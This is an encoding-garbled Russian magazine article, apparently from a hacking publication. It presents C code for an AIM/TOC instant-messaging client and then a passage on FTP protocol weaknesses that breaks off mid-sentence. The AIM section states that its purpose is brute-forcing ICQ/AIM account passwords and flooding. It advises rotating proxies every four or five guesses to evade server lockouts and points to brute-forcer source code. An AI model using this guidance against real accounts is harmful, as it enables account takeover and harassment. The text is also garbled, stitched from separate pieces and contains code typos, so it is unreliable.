Ôóíêöèÿ, ñ ïîìîùüþ êîòîðîé êîä
âû÷èñëÿåò äëèíó äàííûõ, èäóùèõ ïîñ-

ëå FLAP (ïîëåçíûé ãðóç), è çàïèñûâà-
åò çíà÷åíèå â ïîëå Data Length:

static char *flap_end(char *buf, char *start)
{

start -= 2;
writew(start, buf-start-2);
return buf;

}

Îáúÿâëÿåì ôóíêöèè äëÿ ñáîðêè
AIM-ïàêåòîâ. ß ïðèâûê ïèñàòü êîä â
ñòàðûõ òðàäèöèÿõ (oldschool), ïîýòîìó
ïðåäïî÷èòàþ ñíà÷àëà îáúÿâèòü ôóíê-
öèè, à èõ îïèñàíèå - ïîñëå ãëàâíîé
ïðîãðàììû (main):

static char *encode_flapsigon(char *buf, const char
*screenname);
static unsigned char *roast_password(const char *pass);
static char *encode_toc_signon(char *buf, const char
*screenname, const char *password);
static unsigned char *encode_toc_init_done(char *buf);

static unsigned char *encode_toc_send_im(char *buf,
const char *remscreenname, char *mess);
static unsigned char *encode_toc_add_permit(char *buf);
static unsigned char *encode_toc_add_deny(char *buf);
static unsigned char *encode_toc_set_config(char *buf);
static unsigned char *encode_toc_add_buddy(char *buf,
const char *screenname);

Òàê áóäåì âûãëÿäåòü ôóíêöèÿ, êîòî-
ðàÿ áóäåò âûçûâàòüñÿ ïðè ïðåðûâà-
íèè ñ êëàâèàòóðû, íàïðèìåð, êîãäà ìû
ïîæåëàåì îòïðàâèòü ñîîáùåíèå ñàìè.
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void onintr(sig){

/* UIN, íà êîòîðûé îòïðàâèì ñîîáùåíèå. Íàäî çàìå-
òèòü, ÷òî UIN è screenname äëÿ AIM îäíî è òî æå. */
char remscreenname[16];

/* Âûçûâàåì ôóíêöèþ äëÿ ôîðìèðîâàíèÿ èñõîäÿùå-
ãî ïàêåòà ñ òåêñòîì, â ôóíêöèþ ïåðåäàþòñÿ äâà àðãó-
ìåíòà uin è òåêñòîâîå ñîîáùåíèå. Çàòåì ïàêåò, ñôîð-
ìèðîâàííûé òðèâèàëüíûì îáðàçîì, îòïðàâëÿåì íà
ñåðâåð TOC/AIM: */
encode_toc_send_im(buf, remscreenname, messa);

i=0;
i=ntohs(*((u_int16_t *)(buf+4)));
if (send(sock, buf, i+6, 0) == -1) {

error("Send");
close(sock);

}
fprintf(stdout,"%s <-- %s\n", remscreenname, messa);

// ... 
}

Äàìï ñôîðìèðîâàííîãî èñõîäÿùåãî
ñîîáùåíèÿ. Ñîñòîèò èç çàãîëîâêà
FLAP 6 áàéò, êîìàíäû toc_send_im,
UIN'à è ñàìîãî òåêñòîâîãî ñîîáùåíèÿ
(ñì. ñêðèíøîò).

Ðàññìîòðèì òåïåðü îñíîâíóþ
ôóíêöèþ - main().
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// Ïðîèçâîäèì ïîäêëþ÷åíèå ê AIM-ñåðâèñó
if ((sock=socket(AF_INET, SOCK_STREAM, 0)) == -1) {

perror("Socket");
}
tochost.sin_family=AF_INET;
tochost.sin_port=htons(TOC_PORT);
tochost.sin_addr=*(struct in_addr *)he->h_addr;
bzero(&(tochost.sin_zero), 8);
fprintf(stdout, "Connecting TOÑ server \n");
if (connect(sock, (struct sockaddr *)&tochost,

sizeof(struct sockaddr)) == -1) {
perror("Connect");

}

Ïîñûëàåì ïåðâóþ êîìàíäó íà AIM-
ñåðâåð, äàáû ðàññêàçàòü åìó î ãîòîâ-
íîñòè ê ðàáîòå ñ íèì:
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if (send(sock, FLAPON, sizeof(FLAPON), 0) == -1) {
perror("Send");
close(sock);

}
/* Ïðèíèìàåì îòâåò ñ ñåðâåðà â âèäå ïàêåòà FLAP
SIGNON: */
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Êîíñîëüíûé icq/aim bruteforcer: î÷åíü ýôôåêòèâåí äëÿ äåäèêåéò-ñåðâåðîâ

Ìîùíàÿ ñðåäà ðàçðàáîòêè KDEVELOP, ôðàãìåíò îòêðûòîãî êîäà icq flooder ñ èñïîëüçî-
âàíèåì POSIX THREAD (ìíîãîïîòî÷íîñòü)



if (recv(sock, buffer, 2048, 0) == -1) {
perror("RECV");
close(sock);

}

Ñîñòàâëÿåì îòâåò äëÿ ñåðâåðà â âè-
äå ïàêåòà TOC SIGNON, äëÿ ýòîãî äè-
íàìè÷åñêè âûäåëÿåì ïàìÿòü. Ïðè
ýòîì èñïîëüçóåì óêàçàòåëü buf. Ïîñëå
ýòîãî îòïðàâëÿåì ïàêåò íà ñåðâåð, èñ-
ïîëüçóÿ ôóíêöèþ send. Íàäî îòìå-
òèòü, ÷òî àðãóìåíòû i è j ôèãóðèðóþò
äëÿ îïðåäåëåíèÿ ðàçìåðà ïîëÿ VALID
DATA. 

buf=(char *)malloc(256*sizeof(char ));
encode_flapsigon(buf, screenname);
i=0;
i=ntohs(*((u_int16_t *)(buf+4)));
if (send(sock, buf, i+6, 0) == -1) {

perror("Send");
close(sock);

}
free(buf);

Äàëåå ñëåäóåò àóòåíòèôèêàöèÿ íà
ñåðâåðå - ôîðìèðóåì ïàêåò toc_signon
ñ ïîìîùüþ ôóíêöèè
encode_toc_signon. Â ïàðàìåòðàõ ïå-
ðåäàåì óêàçàòåëü íà àäðåñ áóôåðà,
íàø ICQ uin/AIM screename è ïàðîëü ê
íåìó:
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buf=(char*) malloc(256*sizeof(char ));
encode_toc_signon(buf, screenname, password);
i=0;
i=ntohs(*((u_int16_t *)(buf+4)));
if (send(sock, buf, i+6, 0) == -1) {

perror("Send");
close(sock);

}
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Íà ýòîì ó÷àñòêå êîäà ìû íåìíîãî
ñõèòðèì äëÿ ïîâûøåíèÿ ïðîèçâîäè-
òåëüíîñòè êîäà. Â ïðîòèâíîì ñëó÷àå
ïðèäåòñÿ íåñêîëüêî ðàç èñïîëüçîâàòü
ôóíêöèþ send. Åñëè âíèìàòåëüíî ïîñ-
ìîòðåòü íà íåãî, ìîæíî çàìåòèòü, ÷òî
â îäíó ñòðîêó buf ìû ôîðìèðóåì ñðà-
çó íåñêîëüêî ïàêåòîâ TOC, êàæäûé
ðàç ñìåùàÿ óêàçàòåëü íà áóôåð. Ýòî
äåëàåòñÿ äëÿ ýêîíîìèè âðåìåíè ïîäê-
ëþ÷åíèÿ ê ñåðâåðó, èçáàâëåíèÿ îò
ïîâòîðÿþùèõñÿ ó÷àñòêîâ êîäà è, êî-
íå÷íî æå, äëÿ ýñòåòèêè ;). Ïîåõàëè.

encode_toc_add_permit, encode_toc_add_deny,
encode_toc_set_config, encode_toc_add_buddy,
encode_toc_set_config, encode_toc_init_done.

Èíòåðåñíî, ÷òî ôóíêöèþ
encode_toc_init_don ìû âûçûâàåì â
êîíöå - òàê òðåáóåò ñòàíäàðò. Êîíå÷íî,
ìîæíî ðàçäåëèòü âñå è ïî ÷àñòÿì.

/* toc_add_permit - óñòàíàâëèâàåì ñïèñîê ðàçðåøåí-
íûõ ïîëüçîâàòåëåé */
encode_toc_add_permit(buf);
i=0;
i=ntohs(*((u_int16_t *)(buf+4)));

/* toc_add_deny - óñòàíàâëèâàåì ñïèñîê çàïðåùåííûõ
ïîëüçîâàòåëåé */
encode_toc_add_deny(buf+i+6);
j=0;
j=ntohs(*((u_int16_t *)((buf+i+6)+4)));
i=i+j;
/* toc_set_config - óñòàíàâëèâàåì contact list */
encode_toc_set_config(buf+i+12);
j=0;
j=ntohs(*((u_int16_t *)((buf+i+12)+4)));
i=i+j;
/* toc_add_buddy - äîáàâëÿåì ñåáÿ â contact list è îð-
ãàíèçóåì ñòàòóñ online */
encode_toc_add_buddy((buf+i+18), screenname);
j=0;
j=ntohs(*((u_int16_t *)((buf+i+18)+4)));

i=i+j;
/*toc_set_config */
encode_toc_set_config(buf+i+24);
j=0;
j=ntohs(*((u_int16_t *)((buf+i+24)+4)));
i=i+j;
/*toc_init_done - ïîäòâåðæäàåì, ÷òî ïðîéäåíà ïðîöå-
äóðà àâòîðèçàöèè */
encode_toc_init_done(buf+i+30);
j=0;
j=ntohs(*((u_int16_t *)((buf+i+30)+4)));
i=i+j;
if (send(sock, buf, i+36, 0) == -1) {

perror("Send");
close(sock);

}
free(buf);
puts("Now you connect on the TOC server");
puts("Press ctrl+c you menu");
buf=(char )malloc(256*sizeof(char ));
mess=(char )malloc(128*sizeof(char ));

signal (SIGINT, onintr);

Óõîäèì â ãëàâíûé öèêë íàøåé ïðîã-
ðàììû, ïåðåâîäÿ ïðîãðàììó â ðåæèì
ïðèåìà ñîîáùåíèé äî òåõ ïîð, ïîêà
àðãóìåíò messa íå ñòàíåò ðàâíûì
"quit", ïîñëå ÷åãî ïðîãðàììà âûéäåò
èç öèêëà è çàâåðøèòñÿ:

while (memcmp(messa, "quit", 4)) {
// ...

}
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if (recv(sock, buffer, 2048, 0) == -1 ) {
perror("RECV");
close(sock);

}

Óñëîâèå íà íàëè÷èå âõîäÿùåãî ñî-
îáùåíèÿ. Â óñëîâèè èñïîëüçóåòñÿ ëî-
ãè÷åñêîå "È". Ïåðâîå âûðàæåíèå â if -
ýòî íàëè÷èå àðãóìåíòà DATA(0x02) â
FLAP. Âî âòîðîì âûðàæåíèè ñâåðÿþò-
ñÿ ïåðâûå ïÿòü ñèìâîëîâ, ïîñëå
ôëýï-çàãîëîâêà (6 bytes), IM_IN � âõî-
äÿùåå ñîîáùåíèå. Åñëè ïðîâåðêà
ïîäòâåðäèòñÿ, òî âõîäÿùàÿ ñòðîêà ïî-
ïàäàåò â òåëî óñëîâèÿ:

if( (*((u_int8_t *)(buffer+1)) == 0x02) &&
(!memcmp(buffer+6, "IM_IN", 5) ) ) {

// ...
}
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Äàìï èñõîäÿùåãî ñîîáùåíèÿ

Ïðîåêò, ïîñâÿùåííûé ðàçðàáîò÷èêàì ICQ. Íà ñíèìêå - êóñîê êîäà îòêðûòîé ôóíêöèè
ICQ äëÿ ôîðìèðîâàíèÿ ïàêåòà login

Â îäíó ñòðîêó buf ìû ôîðìèðóåì ñðàçó
íåñêîëüêî ïàêåòîâ TOC, êàæäûé ðàç

ñìåùàÿ óêàçàòåëü íà áóôåð.



Ïîñëå òîãî êàê ñòðîêà ïîïàëà â òåëî
óñëîâèÿ, èç íåå âûäåëÿþòñÿ ICQ/AIM
(screenname) è ñîîáùåíèå.

screenlen = 0;

Îòñ÷èòûâàåì 12 áàéò îò íà÷àëà ïàêå-
òà TOC(AIM), ÷òîáû îïðåäåëèòü
ICQ/screenname-îòïðàâèòåëÿ ñîîáùå-
íèÿ, ñîõðàíÿåì åãî â ïåðåìåííîé rem-
screenname.

address = (buffer+12);
while(*address != '\x3A') {

remscreenname[screenlen] = (*address);
screenlen++;
address++;

}

Îòäåëÿåì òåêñòîâîå ñîîáùåíèå èç
âõîäÿùåãî ïàêåòà è çàïèñûâàåì åãî â
àðãóìåíò messaga:

address++;
i=0;
i=ntohs(*((u_int16_t *)(buf+4)));
i=i-6-screenlen-1;
memset(messaga, 0, 128);
memcpy(messaga, address, i);

Âûâîäèì âõîäÿùèå ICQ/screename è
òåêñò ñîîáùåíèÿ íà ñòàíäàðòíûé 
âûâîä:

printf("%s -> %s\n", remscreenname, messaga);

Íà ýòî çàêàí÷èâàåòñÿ êîä ãëàâíîé
ôóíêöèè main.

Ôóíêöèè äëÿ ôîðìèðîâàíèÿ AIM-
ïðîòîêîëà:

/* Ôîðìèðóåì îòâåò ñåðâåðó íà FLAP SIGON. Â ïîëåç-
íîì ãðóçå áóäåò çíà÷åíèå
0x00000001, 0x0001, äëèíà UIN è ñàì UIN. */
static char *encode_flapsigon(char *buf, const char
*screenname)
{

char *sflap;
/* Ïðîïóñêàåì ïîëå Data Length è ñòàâèì íà íåãî

óêàçàòåëü, äàáû ïîçæå çàïîëíèòü åãî. */
buf=sflap=flap_begin(buf, TYPE_SIGNON);
buf=writel(buf, 0x00000001);
buf=writew(buf, 0x0001);
buf=writew(buf, strlen(screenname));
buf=writes(buf, screenname, strlen(screenname));
// ïîäñ÷èòûâàåì äëèíó ïàêåòà è âïèñûâàåì
// åãî â ïîëå Data Length
flap_end(buf, sflap);
return buf;

}

Êðèïòóåì íàø ïàðîëü (ïðîñòî
xor'èðóåì åãî) â âèäå íà÷àëüíûõ äàí-
íûõ, íåîáõîäèìûõ äëÿ øèôðîâàíèÿ,
áåðåì ñòðîêó "Tic/Toc", ïîñëå ÷åãî ïî-
ëó÷èì êëþ÷:

static unsigned char *roast_password(const char *pass)
{

static unsigned char rp[256];
static char *roast = ROAST;
int pos = 2;
int x;
strcpy(rp, "0x");
for (x = 0; (x < 150) && pass[x]; x++)

pos += sprintf(&rp[pos], "%02x",
pass[x] ^ roast[x % strlen(roast)]);

rp[pos] = '\0';
return rp;

}

Ôóíêöèÿ êîíñòðóèðóåò ïàêåò, ñ ïî-
ìîùüþ êîòîðîãî áóäåì ïðîõîäèòü àó-
òåíòèôèêàöèþ.

static char *encode_toc_signon(char *buf, const char
*screenname, const char *password)
{

char *sflap; char *data;
data=(char *)malloc(256*sizeof(char *));
memset(data, 0, 256);
buf=sflap=flap_begin(buf, TYPE_DATA);
sprintf(data,

"toc_signon %s %d %s %s %s \"%s\"",
AUTH_HOST, AUTH_PORT, screenname,
roast_password(password), LANGUAGE,
REVISION);

buf=writes(buf, data, strlen(data));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
free(data);
return buf;

}

Ôóíêöèÿ ïî ôîðìèðîâàíèþ ïàêåòà
ñîîáùåíèé (òåêñò). Àðãóìåíòû ôóíê-
öèè - ýòî âûäåëåííûé áóôåð â ïàìÿòè
buf, ICQ/AIM(screenname)-àäðåñàòà è
òåêñòîâîå ñîîáùåíèå mess.

static unsigned char *encode_toc_send_im(char *buf,
const char *remscreenname, char *mess)
{

char *sflap, *message;
message=(char )malloc(128* sizeof(char *));
memset(message, 0, 128);
buf=sflap=flap_begin(buf, TYPE_DATA);
sprintf(message, "toc_send_im %s \"%s\"",

remscreenname, mess);
buf=writes(buf, message, strlen(message));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
free(message);

return buf;
}

Ôóíêöèÿ ïî äîáàâëåíèþ ðàçðåøåí-
íûõ ïîëüçîâàòåëåé:

static unsigned char *encode_toc_add_permit(char *buf)
{

char *sflap;
buf=sflap=flap_begin(buf, TYPE_DATA);
buf=writes(buf, "toc_add_permit ",

strlen("toc_add_permit "));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
return buf;

}

Ôóíêöèÿ ïî äîáàâëåíèþ ïîëüçîâà-
òåëÿ â ÷åðíûé ñïèñîê:

static unsigned char *encode_toc_add_deny(char *buf)
{

char *sflap;
buf=sflap=flap_begin(buf, TYPE_DATA);
buf=writes(buf, "toc_add_deny ",

strlen("toc_add_deny "));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
return buf;

}

Ôóíêöèÿ ïî óñòàíîâêå ñòàòóñà ïîëü-
çîâàòåëÿ, îáû÷íî îíà çàïðàøèâàåò
contact list:

static unsigned char *encode_toc_set_config(char *buf)
{

char *sflap, *message;
message=(char *)malloc(128*sizeof(char *));
memset(message, 0, 128);
buf=sflap=flap_begin(buf, TYPE_DATA);
sprintf(message, "toc_set_config {%c %d.%c 

General.}", 'm', 4, 'g');
buf=writes(buf, message, strlen(message));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
free(message);
return buf;

}

Äîáàâëåíèå ïîëüçîâàòåëÿ â contact
list. Åñëè â âèäå ïàðàìåòðà ê êîìàíäå
toc_add_buddy âûñòóïàåò òâîé UIN
èëè SN, òî òû îáðåòàåøü ñòàòóñ online.

static unsigned char *encode_toc_add_buddy(char *buf,
const char *screenname)
{

char *sflap, *message;
message=(char )malloc(128*sizeof(char));
buf=sflap=flap_begin(buf, TYPE_DATA);
sprintf(message, "toc_add_buddy %s", screenname);
buf=writes(buf, message, strlen(message));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
free(message);
return buf;

}

Ôóíêöèÿ ôîðìèðóåò ïàêåò â âèäå
êîìàíäû ãîòîâíîñòè ê ðàáîòå ïðèåìà,
ïåðåäà÷è ñîîáùåíèé.

Îáû÷íî ïîñûëàåòñÿ ïîñëå àóòåíòè-
ôèêàöèè íà ñåðâèñå aimà. 
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Äàìï âõîäÿùåãî ñîîáùåíèÿ. Ïåðâûå øåñòü áàéò FLAP (âòîðîé áàéò â FLAP Frame
Type DATA(0x02)), [49 4D 5F 49 4E] (IM_IN)DATA âõîäÿùèõ ñîîáùåíèé, 3A � äâîåòî-
÷èå, [39 36 33 36 33 32] ICQ/screenname 632632. Äàëüøå èäóò ôëàãè è ñàì òåêñò ñî-
îáùåíèÿ



static unsigned char *encode_toc_init_done(char *buf)
{

char *sflap;
buf=sflap=flap_begin(buf, TYPE_DATA);
buf=writes(buf, "toc_init_done", trlen("toc_init_done"));
buf=writeb(buf, 0x00);
flap_end(buf, sflap);
return buf;

}

À ×ÒÎ ÆÅ ÄÀËÜØÅ?
Ïîæàëóé, ñ ïðîòîêîëîì íåìíîãî

ðàçîáðàëèñü. Íåîáõîäèìàÿ áàçà ó
íàñ åñòü, êàêóþ ïîëüçó ìû ìîæåì
èçâëå÷ü èç âñåãî ýòîãî? Êîíå÷íî æå,
ÿ èìåþ â âèäó íàïèñàíèå bruteforce
ICQ/AIM UIN'îâ èëè ICQ/AIM flood. Íî
çíàíèå îäíîãî ïðîòîêîëà íå ïîìî-
æåò, íóæíà åùå îäíà âàæíàÿ âåùü:
åñëè ïðîèçâîäèòü ïðÿìûå àêòèâíûå
äåéñòâèÿ ñ ñåðâåðîì ICQ/AIM (brute-
force, flood), ñåðâåð ïîïðîñòó çàáëî-
÷èò íîìåð íà íåêîòîðîå âðåìÿ. Ïîý-
òîìó êàê â ñëó÷àå ñ bruteforce, òàê è
â ñëó÷àå ñ flood íóæíî èñïîëüçîâàòü
êîñâåííîå ñîåäèíåíèå ÷åðåç proxy.

Êðàòêî ïîÿñíþ, êàê ïðîèñõîäèò ðà-
áîòà ÷åðåç proxy-ñåðâåð íà óðîâíå
ñåòåâîãî ïðîòîêîëà. Äëÿ ðàáîòû ñ
ñåðâåðîì ÷åðåç êîñâåííîå (proxy)
ñîåäèíåíèå íåîáõîäèìî ïîäêëþ÷èò-
ñÿ ê proxy-ñåðâåðó è îòîñëàòü åìó êî-
ìàíäó (îïðåäåëåííîãî ôîðìàòà) äëÿ
óñòàíîâêè ñîåäèíåíèÿ ñ ðåàëüíûì
ñåðâåðîì, èñïîëüçóÿ ìåòîä CON-
NECT (â íàøåì ñëó÷àå ýòî
toc.oscar.aol.com). Òàê âûãëÿäèò äàìï
ïàêåòà óðîâíÿ ïðèëîæåíèé äëÿ ðàáî-
òû ñ proxy-ñåðâåðîì:

Åñëè ïîäêëþ÷åíèå ñ ñåðâåðîì ÷å-
ðåç proxy ïðîèçîøëî óäà÷íî, òî â îò-
âåò ìû ïîëó÷èì ïàêåò Connection
established. Ïîñëå ýòîãî ñ proxy ìîæ-
íî ðàáîòàòü òàê, êàê áóäòî áû ìû
ïîäêëþ÷èëèñü ê ñåðâåðó
toc.oscar.aol.com íàïðÿìóþ.

Íà êîìïàêò-äèñêå åñòü çàãîëîâî÷-
íûé ôàéë proxy.h è èñõîäíûå êîäû
îäíîïîòî÷íîãî ICQ bruteforce, ðàáî-

òàþùåãî ïî ïðîòîêîëó ICQ OSCAR ñ
èñïîëüçîâàíèåì proxy. Åãî ìîæíî
èñïîëüçîâàòü â ëþáûõ ïðèëîæåíèÿõ,
êîòîðûå íóæäàþòñÿ â ðàáîòå ñ proxy-
ñåðâåðîì. Ñíîâà îãîâîðþñü äëÿ òåõ,
êòî ðàçáèðàåòñÿ â ñåòåâîì ïðîãðàì-
ìèðîâàíèè: òóò íåò íè÷åãî îñîáåííî-
ãî - îáû÷íûé sockconnect. Ïîýòîìó
íè÷åãî êîììåíòèðîâàòü íå áóäó. Êîä
âûïîëíÿåò îáû÷íûå äåéñòâèÿ, óæå
îïèñàííûå ìíîé.

Èòàê, ñ proxy âñå ïðîñòî. Äëÿ ïðè-
ìåðà ðàññìîòðèì ïðèíöèï ðàáîòû icq
uin bruteforce. 

Ïåðâîå, ÷òî íóæíî ñäåëàòü, - ïîäê-
ëþ÷èòüñÿ ê ñåðâåðó TOC (AIM) ÷åðåç
proxy-ñåðâåðû. Âòîðîå � ñîâåðøàòü
ïåðåáîð ïàðîëåé, ïûòàÿñü ïðîéòè àó-
òåíòèôèêàöèþ íà ñåðâåðå AOL. 

Æåëàòåëüíî äåëàòü íå áîëüøå ÷å-
òûðåõ-ïÿòè èòåðàöèé ïåðåáîðà ïàðî-
ëåé ÷åðåç îäèí proxy-ñåðâåð, âîâðå-
ìÿ ïåðåõîäÿ ê ñëåäóþùåìó proxy. Åñ-
ëè îáúåäèíèòü âñå îïèñàííîå âîåäè-
íî, ëåãêî ìîæíî íàïèñàòü ïðîñòîé,
áûñòðûé ICQ bruteforce è íå òîëüêî.
Ïî-õîðîøåìó, ïðàâèëüíî áûëî áû
èñïîëüçîâàòü ìíîãîïîòî÷íîñòü. Íî
ýòî óæå ñîâñåì äðóãàÿ òåìà, è îíà
âûõîäèò çà ðàìêè ýòîé ñòàòüè. Æå-
ëàþ óäà÷è!

Îòäåëüíûé ððåñïåêò ññëåäóþùèì ëëþ-
äÿì: ËËîçîâñêèé ÀÀëåêñàíäð aaka
Dr.Klouniz [[X ccrew], ØØàêèðîâ ÀÀëåêñåé
aka ÒÒóðèñò [[C4 tteam], ËËþáèöêèé ÑÑåðãåé
aka RRusty, ÀÀíäðåé÷èêîâ ÀÀëåêñåé aaka
andrin èè ââñþ êêîìàíäó aaolhackers.ru ��
áåç ýýòèõ ëëþäåé ææèçíü ââ ÑÑåòè ááûëà ááû
ñêó÷íîé.  E

Ïîëíûå èèñõîäíèêè ýýòîãî ïïðèìåðà èè
ñïåöèôèêàöèþ ïïðîòîêîëà ââñåãäà
ìîæíî ííàéòè ííà ííàøåì ääèñêå.

Äàìï ïàêåòà ñ îòâåòîì î ðåçóëüòàòå ïîäêëþ÷åíèÿ ê proxy

Äàìï ïàêåòà ñ çàïðîñîì ïîäêëþ÷åíèÿ ê proxy



ÇÀÐÀÇÀ

Ê àæåòñÿ, ÷òî î áåçîïàñíîñòè ñåòåâûõ ïðîòîêîëîâ è èõ óÿçâèìîñòÿõ óæå íàïèñàíî âñå. Íî òàêîå ÷óâñòâî âîçíèêàåò
òîëüêî åñëè âçãëÿíóòü íà ïðîáëåìó ñ ïðèâû÷íîé òî÷êè çðåíèÿ - àòàêè íà ñåðâåðíûå ñèñòåìû. Ñåé÷àñ æå âåäóùèå

ýêñïåðòû ñòàâÿò íà ïåðâîå ìåñòî ïðîáëåìó áåçîïàñíîñòè êëèåíòñêèõ ñèñòåì.

ÁÅÇÎÏÀÑÍÎÑÒÜ 
ÑÅÒÅÂÛÕ ÏÐÎÒÎÊÎËÎÂ
ÂÇÃËßÄ ÑÎ ÑÒÎÐÎÍÛ ÊËÈÅÍÒÀ

1. ÎØÈÁÊÈ
ÓÐÎÂÍß
ÑÒÀÍÄÀÐÒÀ �
ÄÛÐÊÈ Â RFC

Ïðîáëåìû ñ áåçî-
ïàñíîñòüþ êëèåíòñêîãî ïðèëîæåíèÿ
ìîãóò íà÷àòüñÿ åùå äî çàâåðøåíèÿ
åãî íàïèñàíèÿ � â ìîìåíò, êîãäà âûáè-
ðàþòñÿ ïðîòîêîëû è ñòàíäàðòû, ïî êî-
òîðûì ïðèëîæåíèå áóäåò ðàáîòàòü.

ÈÑÒÎÐÈß ÏÐÎÒÎÊÎËÀ FTP
Ãîâîðÿ î áåçîïàñíîñòè ñåòåâûõ

ïðîòîêîëîâ, íåëüçÿ íå ðàññêàçàòü î
ïðîòîêîëå FTP (File Transfer Protocol -
ïðîòîêîë ïåðåäà÷è ôàéëîâ). Ïîñëåä-
íèé ñòàíäàðò, îïèñûâàþùèé ïðîòîêîë
FTP, RFC 959, îòíîñèòñÿ àæ ê 1985 ãî-
äó, òî åñòü çà òðè ãîäà äî ÷åðâÿ Ìîð-
ðèñà � ïåðâîãî ñîáûòèÿ, ïðèâëåêøåãî
îáùåñòâåííîå âíèìàíèå ê âîïðîñàì
êîìïüþòåðíîé áåçîïàñíîñòè. ×åðâü
Ìîððèñà áûë õîðîøèì ïèíêîì Ñåòè è
ïîìåíÿë íàïðàâëåíèå åå ðàçâèòèÿ.
Åãî ïîëüçà ìíîãîêðàòíî ïðåâîñõîäèò
íàíåñåííûå èì æå óáûòêè. Òîãäà ïðî-
òîêîë FTP áûë ñîçäàí èñêëþ÷èòåëüíî
äëÿ óäîáíîé ïåðåäà÷è ôàéëîâ ìåæäó
ñèñòåìàìè, íî áåç ìàëåéøåé ïîïûòêè
ñäåëàòü ýòó ïåðåäà÷ó áåçîïàñíîé. Ïî-
ðàæàåò òîò ôàêò, ÷òî ýòîò ïðîòîêîë äî
ñèõ ïîð èñïîëüçóåòñÿ, ïðè÷åì ïðàêòè-
÷åñêè â ïåðâîçäàííîé ôîðìå, â òåõ
ïðèëîæåíèÿõ, äëÿ êîòîðûõ îí ñîâåð-
øåííî íå ïîäõîäèò. 

Ïðîòîêîë FTP âîîáùå î÷åíü íåóäî-
áåí â ðåàëèçàöèè, òàê êàê íå ñîçäà-
âàëñÿ äëÿ ðåàëèçàöèè â êàêîé-ëèáî
êëèåíòñêîé ïðîãðàììå. Íàïðèìåð, FTP
íå îïðåäåëÿåò ôîðìàò, â êîòîðîì äîë-
æåí âûäàâàòüñÿ ñïèñîê ôàéëîâ. Ïðî-
òîêîë FTP ñîçäàâàëñÿ êàê ðàñøèðåíèå
îáû÷íîãî ïðîòîêîëà telnet, òî åñòü âñå
êîìàíäû ïîëüçîâàòåëü äîëæåí áûë
îòäàâàòü FTP èç êîìàíäíîé ñòðîêè è
ïîäðàçóìåâàëîñü íàëè÷èå ó ïîëüçî-
âàòåëÿ shell-äîñòóïà íà FTP-ñåðâåð.
FTP-êëèåíòû, êîòîðûå ïðåäîñòàâëÿëè
áû ïîëüçîâàòåëþ óäîáíûé èíòåðôåéñ,
ïîÿâèëèñü çíà÷èòåëüíî ïîçæå. 

Ïðîòîêîë FTP ïîääåðæèâàåò äâà ðå-
æèìà: ïàññèâíûé è àêòèâíûé. Èñïîëüçó-
åòñÿ äëÿ ïåðåäà÷è ôàéëîâ (ïîëó÷åíèÿ
èëè õðàíåíèÿ), à òàêæå ïîëó÷åíèÿ îã-

ëàâëåíèé êàòàëîãîâ. Â îáîèõ ðåæèìàõ
FTP èñïîëüçóåò êîíòðîëüíîå ñîåäèíå-
íèå, êîòîðîå óñòàíàâëèâàåòñÿ êëèåíòîì
íà 21-é (ïî óìîë÷àíèþ) ïîðò FTP-ñåðâå-
ðà. Ïî êîíòðîëüíîìó ñîåäèíåíèþ íèêà-
êèå äàííûå, íè ôàéëû, íè îãëàâëåíèÿ
êàòàëîãîâ íå ïåðåäàþòñÿ. Äëÿ ïåðåäà÷è
ëþáîãî ôàéëà èëè îãëàâëåíèÿ óñòàíàâ-
ëèâàåòñÿ îòäåëüíîå ñîåäèíåíèå. 

Â àêòèâíîì ðåæèìå êëèåíò îòêðûâà-
åò ñî ñâîåé ñòîðîíû ïîðò, ñîîáùàåò
IP-àäðåñ è íîìåð ïîðòà ñåðâåðó â êî-
ìàíäå PORT, ñåðâåð óñòàíàâëèâàåò
ñîåäèíåíèå íà ïîðò, âûáðàííûé êëè-
åíòîì (â êà÷åñòâå ïîðòà èñòî÷íèêà
îáû÷íî èñïîëüçóåòñÿ 20). 

Â ïàññèâíîì ðåæèìå êëèåíò äàåò êî-
ìàíäó PASV, íà ÷òî ñåðâåð îòêðûâàåò
TCP-ïîðò, ñîîáùàåò åå êëèåíòó, ïîñëå
÷åãî êëèåíò óñòàíàâëèâàåò ñîåäèíå-
íèå íà íåãî. Ïîñëå óñòàíîâêè âòîðîãî
ñîåäèíåíèÿ (DATA connection) êëèåíò
ìîæåò äàòü êîìàíäó íà ïîëó÷åíèå èëè
îòïðàâêó äàííûõ, êîòîðûå è áóäóò ïå-
ðåäàíû áåç êàêîé-ëèáî ìîäèôèêàöèè
÷åðåç ýòî äîïîëíèòåëüíîå ñîåäèíå-
íèå, ïîñëå ÷åãî îíî íåìåäëåííî áóäåò
ðàçîðâàíî. 

Èçíà÷àëüíî ýòè äâà ðåæèìà ïðåä-
íàçíà÷àëèñü äëÿ òîãî, ÷òîáû êëèåíò
ìîã ïåðåïèñàòü ôàéë ñ îäíîãî ñåðâå-
ðà íà äðóãîé, íå çàêà÷èâàÿ ôàéë ê ñå-
áå. Äëÿ ýòîãî êëèåíò ìîã óñòàíîâèòü
êîíòðîëüíîå ñîåäèíåíèå íà ñåðâåð A,
äàòü åìó êîìàíäó PASV, óñòàíîâèòü
ñîåäèíåíèå íà ñåðâåð B è äàòü åìó êî-
ìàíäó PORT ñ äàííûìè, ïåðåäàííûìè
ñåðâåðîì A â îòâåò íà êîìàíäó PASV.
Òàêèì îáðàçîì, DATA connection óñòà-
íàâëèâàëîñü ìåæäó ñåðâåðàìè A è B,
ïîñëå ÷åãî êëèåíò ìîæåò äàòü êîìàíäó
íà õðàíåíèå ôàéëà îäíîìó ñåðâåðó è
ïåðåäà÷ó ôàéëà âòîðîìó ñåðâåðó. 

ÊËÀÑÑÈ×ÅÑÊÈÅ ÀÒÀÊÈ ÍÀ FTP
Íà ïåðâûé âçãëÿä, âñå ãåíèàëüíî.

Íåäîñòàòêè ïðîòîêîëà FTP âïåðâûå
áûëè ïîäðîáíî îïèñàíû ýêñïåðòîì
ëàáîðàòîðèè NAI Äýâèäîì Ñåéñåðäî-
òîì (David Sacerdote) òîëüêî â 1996. Â
÷åì îíè çàêëþ÷àþòñÿ? ×òî åñëè ïîñ-
ëå òîãî êàê ñåðâåð îòêðûë ïîðò ïî êî-
ìàíäå PASV, ê íåìó ïîäêëþ÷èòñÿ êòî-
